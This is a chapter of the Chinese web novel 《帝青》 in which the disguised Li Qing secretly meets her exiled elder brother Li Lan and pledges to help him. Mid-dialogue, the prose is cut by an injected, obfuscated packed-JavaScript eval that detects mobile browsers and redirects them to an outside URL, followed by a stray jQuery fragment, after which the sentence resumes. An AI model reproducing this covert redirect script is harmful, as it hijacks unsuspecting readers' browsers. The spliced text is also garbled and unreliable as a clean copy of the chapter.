128.三日约
作品:《帝青》 三日时光,倏忽而过。
三日里,昭京城依旧维持着表面的平静。
朝会上,关于北疆防务的争论暂时被傅云即将出使北戎的盛事压下。李牧之兴致勃勃地审定着使团的名单,于他而言,这趟出行可他文治武功的又一次彰显。
“不错,不错。”他一手揽着赫连明月,一手揽着不情不愿的贺子衿,心满意足地听着御阶下傅云的汇报。
“使团二十余人足矣,归来之日,臣定当将好消息还报于陛下。”言毕,傅云粲然一笑,耐心地跪伏在地上静候李牧之的答复。
李牧之果真十分满意:“爱卿的提议为朕节省了不少成本,甚得朕心啊。过些时日,朕会亲自前去相送爱卿出使。”
“是。”傅云再次叩首,恭谨地退了出去。
众臣见他绯红色的衣摆消失在大殿外,无不窃窃私语。
“啧,这趋炎附势的狗东西!”
“可别多说了,你不要脑袋了吗?啧啧。”
翰林官舍内,李青的身体在贺子衿召见之后,果然又出现了反复的症状。
白日里她时常感到精神不济,夜间噩梦来得也更频繁,对某些细微的气味异常敏感。
甚至有一次在饭堂内闻到鱼腥味,竟险些当众干呕。看来她体内“离魂散”余毒未清,又受了新刺激的缘故,只能靠每日一枚清心丸和强大的意志力硬撑着。
陈君竹看在眼里,急在心里,可无论怎样去照顾她,还是对这一系列的疑难杂症于事无补。
解药所需的“醒神花”在昭京内根本无处可寻,就连京城名医也束手无策。他只能加倍留心她的饮食起居,尽可能让她多休息,并加紧与薛怀简联络,希望能得到更多的细节支持。
薛怀简偶尔会派暗卫寄来密信,说是自他亲身进慈恩寺探查后,这些僧人都谨慎了不少,药堂那边也换了新住址,想必已有所警觉。
醒神花的线索就这样一直断着,看来,他必须另求他人。
终于,到了第三日,朝堂休沐。
清晨,李青比平日醒得早些。这日,便是她应许下的,见李澜之日了。
窗外刚刚天亮,偶有鸟鸣啁啾。她起身洗漱完毕,换上身素净的靛青色常服,用简单的玉簪绾起鬓发,日常将眼下的三颗小痣用脂粉掩去。
她对着镜中的女子喃喃自语着,此番一去,便是要破釜沉舟。她如今身体出了差错,李澜的态度如何,只能尽人事,听天命了。
陈君竹也早早起身,沉默地陪她用过早膳。两人之间话语不多,却有着无需言说的默契。
用膳后,陈君竹收拾好她吃毕的碗筷,转身便拿去清洗了。
不忘叮嘱道:“马车已经备好,在侧门外。章先生会在城外十里亭等候,带你过去。”
李青:“没问题。”
她拿起桌上一顶带着轻纱的帷帽,便准备径直出门去了。行至门口,却被陈君竹唤住。
“阿青,无论殿下说什么,问什么,都不要惊慌。记得,我在这里。”
闻言,李青心中微暖,点头应答道:“放心。”
说罢,戴上帷帽遮住全部面容,便独自一人走出了官舍侧门。
侧门口,一辆不起眼的小车等候在那里,车夫是个面目平凡的中年人,见到她,便示意她上车。李青上了车,马车便缓缓启动,朝着城外驶去。
一路上,车夫很是沉默,车厢内也异常安静,偶尔能听见车轮碾过青石路的辘辘声。李青靠在车壁上假寐着,脑中飞快地回想着关于李澜的一切。
记忆中的李澜谦逊有礼,对弟弟们总是耐心包容。可偏偏是帝青为帝的最大绊脚石。
从一开始,她便认为,李澜较二兄李牧之,对她来说是更加可怖的威胁。
于是她一杯毒酒将弄得痴傻,在冷宫受尽十年屈辱。可若他没傻,想必这些在蛰伏民间许久的时日,定是在囤积实力,还不忘暗中联络旧部。
见到她时,他会是什么样子?愤怒?怨恨?
还是如陈君竹曾效忠的“澜太子”般,依旧像从前那样心怀苍生,慈悲地给予她一些怜悯?
在面对旧日的罪孽时,李青发现自己竟有些紧张。
她竟然渴望长兄带给她救赎。真是肮脏啊!
出城后,马车的速度不断加快,约莫半个时辰后,便停在了一处僻静的十里亭旁。
亭中已有一人静候已久,正是太子的僚机章旻。
章旻面容清癯,气质儒雅,为李澜太子时期最得力的谋臣之一,李澜“痴傻”后,他与陈君竹亦有联络,表面沉寂,实则一直暗中奔走,为倒帝派提供帮助。
见到李青下车,章旻上前一步,拱手为礼,态度恭敬却不卑微:“林编修,久仰。请随我来。”
也不去拆穿她“吕姝卿”的身份,奇了怪了。
他并不去刻意寒暄,直接领着李青离开官道,拐进旁边一条被草木遮掩的小径。
又走了约一刻钟,前方出现一座掩映在田园深处的幽静院落,乍看去只是户普通农家,十分质朴。
“殿下已在里面等候您多时。”章旻在院门前停下,朝她点了点头,“章某不便入内,在此等候。”
李青倒过谢,推开虚掩的院门,走了进去。
院内布置得简朴清幽,墙角种着些寻常花草,井井有条。靛蓝色衣衫的男子背对着她弯腰给一株兰草浇水,听到脚步声,才从容地转过身来。
二人四目相对,浅琥珀色的对上她碧青色的眼眸。
李青只觉避无可避。
眼前的人,与她记忆中的太子李澜已有了很大的不同。当年太子生得温雅,肤色白皙,颇具储君的尊贵气度。
而面前的中年男子则衣着朴素,眼角有了细密的纹路,肤色已沉淀了常居乡野的健康色泽,蓄着的短须更添几分沉稳。
唯有浅琥珀色的眸子依旧温润平和地望着她,只是深处沉淀了太多岁月磨砺过的沧桑。
他只是静静望着眼前有些陌生的女子,在瞥见她的眸色时,便露出了淡淡的微笑。
“阿青,”李澜过了好一会儿才开口,他放下浇花的水壶,语气中尽是久别重逢的感慨,“你来了。”
称“林编修”过于疏离,称“陛下”又略显嘲讽,直接唤出了属于手足之间的昵称,倒多了些真挚。
这一声,让李青准备好的所有说辞,瞬间堵在了喉咙里。
她呆呆地站在原地,帷帽下的脸上五味杂陈。是的,他一眼便看穿了她的身份,叫她无处遁形。
“皇兄……”她终于找回了自己的声音,硬生生地吐出一句,“别来无恙。”
李澜眼角的纹路瞬间舒展开来,依稀还有几分小时候她见过的温润模样。
“坐吧。”他指了指石凳,自己先坐了下来,提起石桌上的粗陶茶壶,为他们倒了两杯茶。
李青礼貌地接过,茶水看着普通,而气味清雅。
“我这里简陋,只有粗茶,莫要嫌弃。”
李青走过去,在他对面坐下,取下帷帽放在一旁。
“皇兄既然知道我来了,想必也知道我是谁了。”她开门见山,不想再绕弯子。
李澜端起茶杯,轻轻啜了一口,点了点头:“君竹虽未明言,但我与他相交多年,他藏有心事,我是看得出来的。加之你对朝政弊端的熟稔程度……还有贺家那孩子对你的执念,不难猜。”
像是一切都在他意料之内,只不过以最平常的语气陈述出来而已。
“那你恨我吗?”李青直接问出了这个横亘在他们之间十余年,乃至于也横亘在她自己心中许久的问题,“恨我当年赐你的那杯毒酒么?”
李澜也没料到她会这样坦诚。他放下茶盏,别过眼神,沉默了片刻。
良久,他才叹了口气,状若诚恳道:“恨过。在冷宫那些生不如死的日子里,恨过。恨你的狠心,命运的不公,也恨自己着实天真,识人不清。”
“可是阿青,十余年的时间里,足够让一个人想明白很多事。恨意消磨不掉我所遭受过的屈辱和痛苦,但能让人看清更多。我后来常常想,你为何要那么做?是因为对高位的渴望?还是因为迫不得已?”
李青也抿紧了唇,同样思考着这个问题。为什么?因为帝青不甘心永远活在这个近乎完美的兄长的阴影下?
因为父皇临终前提到太子时充满了期许,看自己时却只有无尽的淡漠?
她生活在恐惧和猜忌之中。
害怕他登基后,会像其他帝王一样容不下她这个能力不俗却偏偏性情阴郁的弟弟。
她自己,其实也说不清了。
“或许都有罢。”她最终低声道,避开了他的目光。
李澜再次长叹一声。
“阿青,我们都错了。错在生于帝王家,却将手足之情放在了权欲之后。错在没能好好说话,就像这样,坐下来唠唠家常。我们啊,从来没能真正了解彼此。”
他话锋一转,语气变得郑重:“今日见你,并非为了当年之事要讨还个公道,你看,牧之上位,百姓苦不堪言。再去讲当年那些,都已经没有意义了。我只是想亲口问问你——”
“经历了生死轮回,看尽了朝局乱象,你,帝青,如今心中,究竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312445|195067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想要什么?”
“是还想不惜一切代价,夺回那个曾经属于你的皇位?哪怕生灵涂炭,江山动荡?”
“还是愿意放下旧怨,与我,与君竹,与所有尚有良知的人一起,为这大昭江山,天下百姓,寻一条真正的生路?”
中年人字字句句,都戳中了她最柔软脆弱的内心。
李青迎上他坦然的目光,心脏在胸腔里沉重地跳动着。
这个问题,她问过自己无数次。
曾经,答案是毫不犹豫的前者。
再回首,想起流亡路上的艰辛,百姓们对“帝青”和“李牧之”的评价,二十万大军覆灭后带来的一系列恶果,贺子衿疯狂的复仇路……
而自己呢,则换了副身躯,又重新卷回了这风云诡谲的朝堂之中。
若沉溺于过去,她已然无法回头。
夺回皇位?以什么身份?什么方式?即便成功了,这满目疮痍的江山,离心离德的臣民又该如何去治理呢。
她就这样沉默了许久,回过神时,茶杯中的热气都已散尽。
李青将杯中茶一饮而尽,总算给了这位兄长一个较为清晰的答复。
“你说的对,帝王之位,曾是我李青唯一的目标。但现在,已经不那么重要了。”
她抬起头,直视着李澜:“李牧之刚愎昏聩,赵太后□□误国,北戎虎视眈眈,朝堂内外危机四伏。大昭,已经不起再一次内耗殆尽的折腾了。”
“皇兄,”她换了个正式的称呼,语气诚恳道,“若你能拨乱反正,还天下一个太平……我帝青,愿助你一臂之力。”
“以李青的身份助你,可好?”
说完这番话,她便如同卸下了心头一块巨石般,整个人都松快了不少。紧接着,更深的疲惫和空茫便齐齐涌了上来。
话虽如此,李澜就真能做到么?
李澜只是欣慰地望着她,安抚着她:“阿青成长了不少啊。”
如他所料,偏执狠戾的帝青,终究是在换身这场磨难中被磨去了棱角,看清了更为重要的东西。
趁李青低下头思索时,他愉悦地勾了勾唇角。但很快,便敛去了这样的神情。
他走到李青面前,轻轻拍了拍她的肩膀,像很多年前温和的长兄安抚闹别扭的幼弟时那样,轻柔而温馨。
“辛苦你了。”
只这一句,李青的眼眶就已经开始发热了。她强压下眼底的酸涩,硬生生别开了脸。
“接下来,”李澜收回手,沉稳道,“我们需要好好商议。当下朝中的乱局都需要尽快解决。不过,我见你身体虚浮,可是中了某种奇毒?”
李青条件反射地睁大了眼睛:“你怎会知道?”
“澜某略通医术,你行走虚浮,定然被某种梦魇所扰。还有,阿青还小的时候,我便出使过北戎。你的症状,与北戎的某种怪病格外相似,可是如我所说这般?”
他说得不急不徐,不似作假。李青好一会儿,才陆续将身中“离魂散”之事和盘托出。也顺带,一齐交待了慈恩寺与北戎药物相关的线索。
听罢,李澜抚了抚须:“原来如此。”
“我会让章先生安排可靠人手,设法摸清他们的底细,必要时一举拔除。”
“朝中,我已联络了部分心怀社稷的老臣和将领,他们或明或暗,会支持某接下来的‘清君侧’之举。”
他笃定地看向李青:“凝妃曾为我的妻子,虽无夫妻之实,然程家同我交好却是实打实的。户部尚书程文渊乃凝妃远亲,也许也可以争取。”
李青点点头,将贺子衿身体可能即将崩溃,进而铤而走险的猜测说了出来。
听后,李澜的神色更加凝重了:“若真如此,我们需要比她更快一步。不能让柔妃狗急跳墙,做出更不可控的事。”
两人就在这简陋的院落里低声交换着信息,商讨着对策。化敌为友虽是难事,然而面对江山破碎之兆,李青也没有选择。
李澜也向她承诺,会多多去打听“离魂散”的解药,也就是醒神花的线索,届时会及时告知她和陈君竹。
不知过了多久,章旻在院外轻轻提醒着:“殿下,时辰不早了。”
李澜和李青同时停下话头。
“今日先到这里。”李澜道,“阿青,你先回去。具体细节,我会让章先生与君竹联络。你注意保重身体,万事小心。”
李青站起身,重新戴好帷帽:“皇兄也是。”
她快步走到院门口,离别时又停住脚步,蓦然回首。
恰好瞥见李澜站在一方石桌旁,目送着她向外走去,眸光温和而坚定。

